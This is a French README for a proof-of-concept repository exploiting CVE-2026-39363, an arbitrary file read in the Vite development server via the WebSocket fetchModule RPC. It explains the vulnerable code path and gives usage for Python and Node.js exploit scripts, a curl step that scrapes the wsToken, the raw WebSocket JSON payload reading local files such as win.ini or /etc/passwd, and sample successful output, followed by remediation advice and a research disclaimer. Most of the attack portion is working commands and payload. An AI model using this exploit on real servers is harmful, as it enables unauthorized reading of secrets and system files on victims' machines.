
Exploit pour CVE-2026-39363, une vulnérabilité de lecture arbitraire de fichiers via WebSocket du serveur de développement Vite, avec des scripts Python et Node.js pour l'exploitation automatisée et des étapes manuelles.
| Attribut | Informations |
|---|
| ID CVE | CVE-2026-39363 |
| ID GHSA | GHSA-p9ff-h696-f583 |
| Type de vulnérabilité | Lecture arbitraire de fichiers (Arbitrary File Read) |
| Composant affecté | Serveur de développement Vite |
| Versions affectées | Vite < 6.2.3, < 6.1.2, < 6.0.12, < 5.4.15, < 4.5.10 |
| Score CVSS | Élevé |
| Version corrigée | Vite >= 6.2.3 |
L'appel RPC fetchModule du WebSocket du serveur de développement Vite présente une vulnérabilité de contournement des contrôles de sécurité.
Emplacement du code vulnérable : vite/dist/node/chunks/dep-B0fRCRkQ.js:52065-52070
async function fetchModule(environment, url, importer, options = {}) {
// ...
const isFileUrl = url.startsWith("file://");
// Point vulnérable clé : lorsque l'URL est file:// ou qu'il n'y a pas d'importer
// resolveId est appelé directement, sans vérification isFileServingAllowed !
if (isFileUrl || !importer) {
const resolved = await environment.pluginContainer.resolveId(url);
if (!resolved) {
throw new Error(`[vite] cannot find entry point module '${url}'.`);
}
url = normalizeResolvedIdToUrl(environment, url, resolved);
}
// ...traitement continu et retour du contenu du fichier
}
┌─────────────────────────────────────────────────────────────────┐
│ Chemin de requête HTTP (avec contrôle de sécurité) │
├─────────────────────────────────────────────────────────────────┤
│ HTTP GET /@fs/C:/secret.txt │
│ │ │
│ ▼ │
│ ensureServingAccess() │
│ │ │
│ ▼ │
│ isFileServingAllowed() │
│ │ │
│ ▼ │
│ isFileLoadingAllowed() ────> BLOQUÉ │
│ (vérifie server.fs.allow) │
└─────────────────────────────────────────────────────────────────┘
┌─────────────────────────────────────────────────────────────────┐
│ Chemin de requête WebSocket (contournement) │
├─────────────────────────────────────────────────────────────────┤
│ WebSocket: fetchModule("file://C:/secret.txt") │
│ │ │
│ ▼ │
│ fetchModule() │
│ (isFileUrl || !importer) ───> resolveId direct │
│ │ │
│ ▼ │
│ loadAndTransform() │
│ isFileLoadingAllowed() ────> dépend de la configuration fs.allow│
│ │ │
│ ▼ │
│ Retour du contenu du fichier en cas de succès (si fs.allow le permet)│
└─────────────────────────────────────────────────────────────────┘
Chemin HTTP : passe par plusieurs niveaux de vérification ensureServingAccess → isFileServingAllowed → isFileLoadingAllowed
Chemin WebSocket :
fetchModule n'appelle pas isFileServingAllowedisFileLoadingAllowed dans loadAndTransform reste activeserver.fs.allow est permissive, des fichiers arbitraires peuvent être lus--host)server.fs.allow permissive :
fs.allow: ['..'] - permet de lire les répertoires parentsfs.allow: ['C:/'] - permet de lire tout le disque Cfs.strict: false - aucune restriction/@vite/client)# Cloner le dépôt
git clone [email protected]:Firebasky/CVE-2026-39363.git
cd CVE-2026-39363
# Installer les dépendances
npm install
# Démarrer le serveur de développement Vite (avec configuration permissive pour démontrer la vulnérabilité)
npm run dev
# Utilisation de base (détection automatique du port)
python exp.py -t localhost -p 5173 -f "C:/Windows/win.ini"
# Lire un fichier hors du projet
python exp.py -t localhost -p 5173 -f "E:/secret.txt"
# Spécifier un token
python exp.py -t localhost -p 5173 -f "/etc/passwd" --token "your_token"
# Obtenir le wsToken
curl -s "http://localhost:5173/@vite/client" | grep -o 'wsToken = "[^"]*"'
# Exécuter le POC
node poc.js localhost 5173 "C:/Windows/win.ini" "your_token"
curl -s "http://target:5173/@vite/client" | grep wsToken
const ws = new WebSocket('ws://target:5173?token=TOKEN', 'vite-hmr');
{
"type": "custom",
"event": "vite:invoke",
"data": {
"id": "invoke_0",
"name": "fetchModule",
"data": ["file:///C:/Windows/win.ini"]
}
}
============================================================
CVE-2026-39363 POC - Vite WebSocket Arbitrary File Read
============================================================
Target: ws://localhost:5173?token=6zKw8sjZ5KKF
File to read: C:/Windows/win.ini
[*] WebSocket connected successfully
[+] Server confirmed WebSocket connection
[*] Sending RPC: fetchModule(["file://C:/Windows/win.ini"])
============================================================
[+] SUCCESS! Arbitrary file read achieved!
============================================================
File path: C:/Windows/win.ini
------------------------------------------------------------
[+] File content:
------------------------------------------------------------
; for 16-bit app support
[fonts]
[extensions]
[mci extensions]
[files]
[Mail]
MAPI=1
============================================================
CVE-2026-39363/
├── README.md # Document d'analyse de la vulnérabilité
├── exp.py # Script d'exploitation Python
├── poc.js # POC Node.js
├── vite.config.js # Fichier de configuration Vite (pour la démonstration)
├── package.json # Configuration du projet
├── src/ # Répertoire du code source
│ ├── main.js
│ ├── counter.js
│ └── style.css
├── public/ # Ressources statiques
└── index.html # HTML d'entrée
npm update vite
# ou
npm install vite@latest
// vite.config.js
export default defineConfig({
server: {
fs: {
strict: true,
allow: ['.'] // autoriser uniquement le répertoire racine du projet
}
}
})
--host pour exposer le serviceCe projet est destiné uniquement à des fins de recherche en sécurité et d'éducation. N'utilisez pas ce code d'exploitation pour des activités illégales. Avant de tester avec ce code, assurez-vous d'avoir obtenu l'autorisation explicite du propriétaire du système cible.
Licence MIT